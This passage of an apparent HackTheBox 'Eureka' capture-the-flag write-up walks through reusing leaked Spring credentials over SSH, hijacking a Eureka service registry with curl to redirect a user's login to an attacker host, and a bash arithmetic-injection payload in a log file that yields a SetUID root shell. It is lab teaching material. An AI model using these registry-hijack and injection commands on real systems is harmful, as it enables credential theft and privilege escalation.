spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
...[snip]..

SSH

Before pivoting to other web services, I’ll try SSH, and it works:

oxdf@hacky$ netexec ssh furni.htb -u EurekaSrvr -p '0scarPWDisTheB3st' 
SSH         10.10.11.66     22     furni.htb        [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     furni.htb        [-] EurekaSrvr:0scarPWDisTheB3st
oxdf@hacky$ netexec ssh furni.htb -u oscar190 -p '0sc@r190_S0l!dP@sswd' 
SSH         10.10.11.66     22     furni.htb        [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     furni.htb        [+] oscar190:0sc@r190_S0l!dP@sswd  Linux - Shell access!

I’ll get a shell:

oxdf@hacky$ sshpass -p '0sc@r190_S0l!dP@sswd' ssh oscar190@furni.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)
...[snip]...
oscar190@eureka:~$ 

Shell as miranda-wise

General Enumeration

Users

oscar190’s home directory is very empty:

oscar190@eureka:~$ ls -la
total 32
drwxr-x--- 5 oscar190 oscar190 4096 Apr  1 12:57 .
drwxr-xr-x 4 root     root     4096 Aug  9  2024 ..
lrwxrwxrwx 1 oscar190 oscar190    9 Aug  7  2024 .bash_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190  220 Aug  1  2024 .bash_logout
-rw-r--r-- 1 oscar190 oscar190 3771 Apr  1 12:57 .bashrc
drwx------ 2 oscar190 oscar190 4096 Aug  1  2024 .cache
drwx------ 3 oscar190 oscar190 4096 Aug  1  2024 .config
drwxrwxr-x 3 oscar190 oscar190 4096 Aug  1  2024 .local
lrwxrwxrwx 1 oscar190 oscar190    9 Aug  7  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190  807 Aug  1  2024 .profile

They can not run sudo either:

oscar190@eureka:~$ sudo -l
[sudo] password for oscar190: 
Sorry, user oscar190 may not run sudo on localhost.

There is one other user with a home directory on the box:

oscar190@eureka:/home$ ls
miranda-wise  oscar190

That matches the users with shells set in passwd:

oscar190@eureka:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash

File System

There is something going on in /opt:

oscar190@eureka:/opt$ ls -l
total 16
drwxrwx--- 2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x 1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root     4096 Apr  9 18:34 scripts
oscar190@eureka:/opt$ ls heapdump/
ls: cannot open directory 'heapdump/': Permission denied
oscar190@eureka:/opt$ ls scripts/
ls: cannot open directory 'scripts/': Permission denied

I can look at log_analyse.sh, but I’ll come back to this for the root step.

Processes

ps auxww doesn’t show anything super interesting. There are four different pairs of processes where root runs sudo to run a Java Spring Boot application as www-data:

root        1003  0.0  0.0   9424  3464 ?        S    Apr29   0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.loca
tion=/var/www/web/Eureka-Server/src/main/resources/application.yaml
www-data    1009  4.2  7.9 2840236 317624 ?      Sl   Apr29  51:50 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Eu
reka-Server/src/main/resources/application.yaml   
root        1330  0.0  0.0   9424  3428 ?        S    Apr29   0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/user-management-service/src/main/resources/application.properties
www-data    1332  0.6  8.8 2884344 354136 ?      Sl   Apr29   8:15 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/user-management-service/src/main/resources/application.properties
root        1333  0.0  0.0   9428  3292 ?        S    Apr29   0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Furni/src/main/resources/application.properties
www-data    1336  0.3  8.7 2885384 348636 ?      Sl   Apr29   4:17 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/Furni-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/Furni/src/main/resources/application.properties
root        1401  0.0  0.0   9424  3284 ?        S    Apr29   0:00 sudo -b -u www-data java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/cloud-gateway/src/main/resources/application.yaml
www-data    1402  0.3  7.8 2823988 313896 ?      Sl   Apr29   4:16 java -Xms100m -Xmx200m -XX:+UseG1GC -jar target/demo-0.0.1-SNAPSHOT.jar --spring.config.location=/var/www/web/cloud-gateway/src/main/resources/application.yaml

I’ll upload pspy and take a look at any crons that might be running. There are processes that reset the logs (I’ll look at these shortly):

2025/04/30 14:40:11 CMD: UID=0     PID=1402389 | cp /opt/scripts/application_user.log /var/www/web/user-management-service/log/application.log 

There’s also a process that is claims to be logging in as miranda:

2025/04/30 14:41:02 CMD: UID=0     PID=1402416 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh 

root is also running /opt/analyse.sh (I’ll come back to this getting root):

2025/04/30 14:42:03 CMD: UID=0     PID=1404997 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 

Web Enumeration

Web Overview

nginx is configured for port 80 in /etc/nginx/sites-enabled/default (most comments removed):

server {
        listen 80;
        listen [::]:80;
        server_name furni.htb;
        
        if ($host != "furni.htb") {
            return 301 http://furni.htb$request_uri;
        }
        location = /actuator/heapdump {
                alias /opt/heapdump/heapdump;
        }
         
        location = /favicon.ico { access_log off; log_not_found off; }
        location /static/ {
                root /var/www/web;
        }
        location / {
                # pass to spring-cloud-gateway
                proxy_pass http://127.0.0.1:8080;
                include proxy_params;
        }
}

It’s interesting that /actuator/heapdump is given a different location. I suspect this is in place to make sure that the correct stuff is in memory so that all HTB players get a consistent experience. /static things are passed to /var/www/web. The rest is proxied to http://127.0.0.1:8080 which is labeled as the spring-cloud-gateway.

/var/www has two directories:

oscar190@eureka:/var/www$ ls
html  web

html is just the default nginx page. web has several folders:

oscar190@eureka:/var/www/web$ ls
cloud-gateway  Eureka-Server  Furni  static  user-management-service

Each of these seem to be a different SpringBoot application. cloud-gateway seems to be an implementation of Spring Cloud Gateway. Furni has the website. Eureka-Server is an instance of eureka:

Eureka is a RESTful (Representational State Transfer) service that is primarily used in the AWS cloud for the purpose of discovery, load balancing and failover of middle-tier servers. It plays a critical role in Netflix mid-tier infra.

In each, I can get a list of all the files with find:

oscar190@eureka:/var/www/web/user-management-service$ find . -type f
./target/maven-archiver/pom.properties
./target/test-classes/com/eureka/Furni/FurniApplicationTests.class
./target/classes/com/eureka/Furni/Controller/UserController.class
./target/classes/com/eureka/Furni/UMSApplication.class
./target/classes/com/eureka/Furni/Repository/UserRepository.class
./target/classes/com/eureka/Furni/Security/LoginFailureLogger.class
./target/classes/com/eureka/Furni/Security/WebSecurityConfig.class
./target/classes/com/eureka/Furni/Security/LoginSuccessLogger.class
./target/classes/com/eureka/Furni/Model/User.class
./target/classes/com/eureka/Furni/Service/CustomUserDetailsService.class
./target/classes/com/eureka/Furni/Service/CustomUserDetails.class
./target/classes/application.properties
./target/classes/templates/register.html
./target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
./target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
./target/Furni-0.0.1-SNAPSHOT.jar
./target/Furni-0.0.1-SNAPSHOT.jar.original
./.mvn/wrapper/maven-wrapper.properties
./mvnw.cmd
./HELP.md
./mvnw
./log/application.log.2025-04-29.0.gz
./log/application.log.2025-04-23.0.gz
./log/application.log
./src/test/java/com/eureka/Furni/FurniApplicationTests.java
./src/main/resources/application.properties
./src/main/resources/templates/register.html
./src/main/java/com/eureka/Furni/Controller/UserController.java
./src/main/java/com/eureka/Furni/Repository/UserRepository.java
./src/main/java/com/eureka/Furni/Security/WebSecurityConfig.java
./src/main/java/com/eureka/Furni/Security/LoginSuccessLogger.java
./src/main/java/com/eureka/Furni/Security/LoginFailureLogger.java
./src/main/java/com/eureka/Furni/UMSApplication.java
./src/main/java/com/eureka/Furni/Model/User.java
./src/main/java/com/eureka/Furni/Service/CustomUserDetails.java
./src/main/java/com/eureka/Furni/Service/CustomUserDetailsService.java
./.gitignore
./pom.xml

For an initial analysis, I’m not interested in .class or even really .java. I’ll use some grep to get a better list of files that might handle configuration:

oscar190@eureka:/var/www/web$ find . -type f | grep -vP '(class|java|lst|jar|original|gz|jpg|png|svg|css|html|js|mvnw|HELP.md|mvnw.cmd|gitignore)$'
./Furni/target/maven-archiver/pom.properties
./Furni/target/classes/application.properties
./Furni/target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./Furni/target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./Furni/.mvn/wrapper/maven-wrapper.properties
./Furni/src/main/resources/application.properties
./Furni/pom.xml
./cloud-gateway/target/maven-archiver/pom.properties
./cloud-gateway/target/classes/application.yaml
./cloud-gateway/target/surefire-reports/TEST-com.eureka.gateway.ApiGatewayApplicationTests.xml
./cloud-gateway/target/surefire-reports/com.eureka.gateway.ApiGatewayApplicationTests.txt
./cloud-gateway/.mvn/wrapper/maven-wrapper.properties
./cloud-gateway/log/application.log
./cloud-gateway/src/main/resources/application.yaml
./cloud-gateway/pom.xml
./user-management-service/target/maven-archiver/pom.properties
./user-management-service/target/classes/application.properties
./user-management-service/target/surefire-reports/com.eureka.Furni.FurniApplicationTests.txt
./user-management-service/target/surefire-reports/TEST-com.eureka.Furni.FurniApplicationTests.xml
./user-management-service/.mvn/wrapper/maven-wrapper.properties
./user-management-service/log/application.log
./user-management-service/src/main/resources/application.properties
./user-management-service/pom.xml
./Eureka-Server/target/maven-archiver/pom.properties
./Eureka-Server/target/classes/application.yaml
./Eureka-Server/target/surefire-reports/com.eureka.server.EurekaServerApplicationTests.txt
./Eureka-Server/target/surefire-reports/TEST-com.eureka.server.EurekaServerApplicationTests.xml
./Eureka-Server/.mvn/wrapper/maven-wrapper.properties
./Eureka-Server/src/main/resources/application.yaml
./Eureka-Server/pom.xml

Web Configuration Files

./Furni/target/classes/application.properties has both sets of creds that match the memory dump:

spring.application.name=Furni
spring.session.store-type=jdbc
spring.cloud.inetutils.ignoredInterfaces=enp0s.*
#Eureka
eureka.client.service-url.defaultZone= http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
#Mysql
spring.jpa.hibernate.ddl-auto=none
spring.datasource.url=jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.datasource.username=oscar190
spring.datasource.password=0sc@r190_S0l!dP@sswd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.format_sql=true
#tomcat
server.address=localhost
server.port=8082
# Enable proxy support
server.forward-headers-strategy=native
#A
management.endpoints.web.exposure.include=*

./Furni/src/main/resources/application.properties is a copy of that as well. ./user-management-service/target/classes/application.properties is similar, with the same creds just for the application on 8081 instead of 8082.

Web Spring Boot Application Configuration Files

./cloud-gateway/target/classes/application.yaml has what looks like a Docker compose file (with the same creds again), but it’s actually a Spring Boot application configuration file:

eureka:
  client:
    registry-fetch-interval-seconds: 20
    service-url:
      defaultZone: http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

spring:
  cloud:
    gateway:
      routes:
        - id: user-management-service
          uri: lb://USER-MANAGEMENT-SERVICE
          predicates:
            - Path=/login,/logout,/register,/process_register
        - id: furni
          uri: lb://FURNI
          predicates:
            - Path=/**

  application:
    name: app-gateway

server:
  port: 8080
  address: 127.0.0.1

management:
  tracing:
    sampling:
      probability: 1

logging:
  level:
    root: INFO
  file:
    name: log/application.log
    path: ./

./cloud-gateway/src/main/resources/application.yaml is another copy of the same.

./Eureka-Server/target/classes/application.yaml is a Spring Boot application configuration file for the Eureka Server:

spring:
  application:
    name: "Eureka Server"

  security:
    user:
      name: EurekaSrvr
      password: 0scarPWDisTheB3st

server:
  port: 8761
  address: 0.0.0.0

eureka:
  client:
    register-with-eureka: false
    fetch-registry: false

Web Application Logs

./cloud-gateway/log/application.log shows activity with the gateway web application. I’ll note that last entries happened within the last couple minutes:

2025-04-09T11:27:01.910Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 302
2025-04-09T11:27:01.970Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-09T11:27:02.029Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-09T11:27:02.161Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-09T11:27:02.234Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-09T11:27:02.286Z  INFO 1234 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403

If I check back later, those lines are gone, which aligns for the cron that is resetting this file. Later new logs are created:

2025-04-30T14:35:01.618Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 302
2025-04-30T14:35:01.658Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-30T14:35:01.703Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-30T14:35:01.736Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-30T14:35:01.768Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403
2025-04-30T14:35:01.800Z  INFO 1402 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter    : HTTP POST /login - Status: 403

There’s another application.log file at ./user-management-service/log/application.log. This one shows miranda.wise@furni.htb logging in successfully:

2025-04-30T15:36:28.737Z  INFO 1332 --- [USER-MANAGEMENT-SERVICE] [AsyncResolver-bootstrap-executor-%d] c.n.d.s.r.aws.ConfigClusterResolver      : Resolving eureka endpoints via configuration
2025-04-30T15:37:02.013Z  INFO 1332 --- [USER-MANAGEMENT-SERVICE] [http-nio-127.0.0.1-8081-exec-7] c.e.Furni.Security.LoginSuccessLogger    : User 'miranda.wise@furni.htb' logged in successfully

Summary

In summary, looking through the configs for the various servers shows:

  • Four Spring applications:
    • cloud gateway [TCP 8080]
    • User Management [TCP 8081]
    • Furni website [TCP 8082]
    • Eureka server [TCP 8761]
  • The same creds already identified in the heapdump.
  • Activity showing successful login attempts every two minutes to the user management application.

Capture miranda-wise User’s Password

Strategy

A blog post from BackBase titled Hacking Netflix Eureka shows how to exploit this setup. The second scenario they show as:

image-20250430131557154

The attacker is able to hijack the user’s traffic and redirect them to the attacker’s server. That’s exactly what I want here. I’m going to register an application with the app name “USER-MANAGEMENT-SERVICE”, but that points to my host and capture miranda’s login request.

Create Service

The Eureka API documentation is very sparse. The hacking Eureka post above gives an example payload, but mentions that it’s out of date. I took that payload and toyed with it a lot (along with reading some help forums) to get something working, with the minimal amount of fields:

oxdf@hacky$ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE  -H 'Content-Type: application/json' -d '{ 
  "instance": {
    "instanceId": "0xdf",
    "hostName": "10.10.14.6",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.14.6",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {   
      "$": 8081,
      "@enabled": "true"
    },                 
    "dataCenterInfo": {                                                  
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}'

This returns nothing, which is good. On the website, I’ll see my app:

image-20250430141830712

Delete Real App

I could have a 50% chance of getting the next login. Because I’m working in a private environment, I’ll delete the real service:

oxdf@hacky$ curl -X DELETE http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081

It returns nothing. Running it again shows it worked:

oxdf@hacky$ curl -X DELETE http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081
{"timestamp":"2025-04-30T18:22:58.279+00:00","status":404,"error":"Not Found","path":"/eureka/apps/USER-MANAGEMENT-SERVICE/localhost:USER-MANAGEMENT-SERVICE:8081"}

The site shows it too:

image-20250430142119276

If I try to go to http://furni.htb/login or /register, it just hangs. Sometimes this comes back before the next login attempt, so it’s not the most reliable.

Intercept Login

Eventually, there will be an attempt at my server which I catch with nc listening on 8081:

POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OTE2ZmM2MTgtOTBhNi00YmQ1LWJhNDMtNjM1NzYzZDBjNjJl
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:49804"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.6:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=_2VS9FGdIM45joKtOWr5Zu_r7L_4zBxagVIGXGPBGZ_13ffNyFdhxDCsF_kUuLGaCUfNX9eKwd2d_Cl35TZgbVH0Lv7N68es

SSH

That password (once URL decoded) works for SSH:

oxdf@hacky$ netexec ssh furni.htb -u miranda-wise -p 'IL!veT0Be&BeT0L0ve'
SSH         10.10.11.66     22     furni.htb        [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.66     22     furni.htb        [+] miranda-wise:IL!veT0Be&BeT0L0ve  Linux - Shell access!

I’ll get a shell:

oxdf@hacky$ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh miranda-wise@furni.htb
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)
...[snip]...
miranda-wise@eureka:~$ 

And grab user.txt:

miranda-wise@eureka:~$ cat user.txt
46657dc0************************

Shell as root

Enumeration

log_analyse.sh Static Overview

I noted above the log_analyse.sh script. It starts defining some variables, initializing counts to 0, and showing the usage:

#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count  
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi    

It’s going to take in a log file and output to log_analysis.txt.

Next there’s a bunch of function definitions which I’ve not included the details of but basically do what they suggest:

analyze_logins() {                                            
...[snip]...
}

analyze_http_statuses() {                                     
...[snip]...
}

analyze_log_errors(){                                         
...[snip]...
}

display_results() {
...[snip]...
}

I’ll go deeper on analyze_http_statuses shortly. The script ends with the main part:

# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

It runs the different functions, writing to the output file.

Running log_analyse.sh

If I run this with the cloud gateway application log, it prints a bunch of information about the status codes in the log:

miranda-wise@eureka:/tmp$ /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
----- Log Analysis Report -----
                                            
[+] Successful Login Counts:
                                            
Total Successful Logins: 0
                                            
[+] Failed Login Attempts:
                                            
Total Failed Login Attempts: 0
                                            
[+] HTTP Status Code Distribution:
     0 200
     0 201
     8 302
     0 400
     0 401                     
    50 403
     0 404           
     0 500 
                                            
Total HTTP Requests Tracked: 58
                                            
[+] Log Level Counts:
   107 INFO
    12 WARN                    
                                            
[+] ERROR Messages:
                                            

[+] Eureka Connection Failures:
Count: 1


Analysis completed. Results saved to log_analysis.txt

Giving it the user management service log shows successful logins, but no status codes:

miranda-wise@eureka:/tmp$ /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
----- Log Analysis Report -----

[+] Successful Login Counts:
    23 miranda.wise@furni.htb

Total Successful Logins: 23

[+] Failed Login Attempts:

Total Failed Login Attempts: 0

[+] HTTP Status Code Distribution:
     0 200
     0 201
     0 302
     0 400
     0 401
     0 403
     0 404
     0 500

Total HTTP Requests Tracked: 0

[+] Log Level Counts:
    71 INFO
     6 WARN

[+] ERROR Messages:


[+] Eureka Connection Failures:
Count: 1


Analysis completed. Results saved to log_analysis.txt

analyze_http_statuses

The vulnerable function is the analyze_http_statuses function:

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}  

At the bottom, it is using process substitution to get the lines from the log file that have “HTTP” and “Status:” in them, and then feed those lines into the loop.

For each line, it greps to get whatever comes after “Status: “, using \K to mark the start of the part that should be collected as the match. It then loops over each status code, and if the code from the line matches it, it increments the count and writes it back into the list.

developers

miranda-wise is in the developers group:

miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

developers is the group on the web directory:

miranda-wise@eureka:/var/www$ ls -l
total 8
drwxr-xr-x 2 root     root       4096 Apr 10 07:27 html
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 web

And each of the directories inside it:

miranda-wise@eureka:/var/www/web$ ls -l
total 20
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Eureka-Server
drwxrwxr-x 5 www-data developers 4096 Aug  5  2024 Furni
drwxrwxr-x 6 www-data developers 4096 Jul 23  2024 static
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service

I noted above that root is running /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log. This log file is only writable by www-data:

miranda-wise@eureka:/var/www/web$ ls -l cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 22798 Apr 30 19:57 cloud-gateway/log/application.log

However, the log directory has the developers group with rwx access:

miranda-wise@eureka:/var/www/web$ ls -ld cloud-gateway/log/
drwxrwxr-x 2 www-data developers 4096 Apr 30 00:00 cloud-gateway/log/

Command Injection

Strategy

There’s a really nice article from 2019 titled Arithmetic operation in shell script can be exploited that shows how to exploit this. The ariticle works from a simpler script:

#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]];then
  echo "OK"
else
  echo "NG"
fi

Because the -eq operator is trying to compare two numbers, then it expects two arithmetic expressions. x[$(command)] is a valid arithmetic expression, and will execute “command”, trying to get a value that can be used as an index in the array x.

So here, if I can get $code to be something like that, I can get execution.

Modifying application.log

The file passed to log_analyse.sh by root is not writable by miranda-wise:

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo "test" >> application.log
-bash: application.log: Permission denied

However, they can move it or delete it:

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application.log.bk
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo "test" >> application.log
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cat application.log
test

Injection POC

To inject, I need a line that includes “HTTP” and then “Status: “ and what after is my payload. My payload should look like x[$(command)]. Putting that together (and re-deleting the file since it was recreated by legit logging):

miranda-wise@eureka:/var/www/web/user-management-service/log$ rm -f application.log
miranda-wise@eureka:/var/www/web/user-management-service/log$ echo 'HTTP Status: x[$(ping -c 1 10.10.14.6)]' > application.log

After a minute, there’s ICMP at my computer:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
03:14:00.696723 IP 10.10.11.66 > 10.10.14.6: ICMP echo request, id 1, seq 1, length 64
03:14:00.696760 IP 10.10.14.6 > 10.10.11.66: ICMP echo reply, id 1, seq 1, length 64

Shell

I’ll do the same thing, this time making a SetUID/SetGID copy of bash:

miranda-wise@eureka:/var/www/web/user-management-service/log$ rm -f application.log
miranda-wise@eureka:/var/www/web/user-management-service/log$ echo 'HTTP Status: x[$(cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf)]' > application.log

After a minute, it exists:

miranda-wise@eureka:/var/www/web/user-management-service/log$ ls -l /tmp/0xdf 
-rwsrwsrwx 1 root root 1183448 Apr 30 20:04 /tmp/0xdf

Running with -p to not drop permissions gives a root shell:

miranda-wise@eureka:/var/www/web/user-management-service/log$ /tmp/0xdf -p
0xdf-5.0#

And the flag:

0xdf-5.0# cat root.txt
1be22b29************************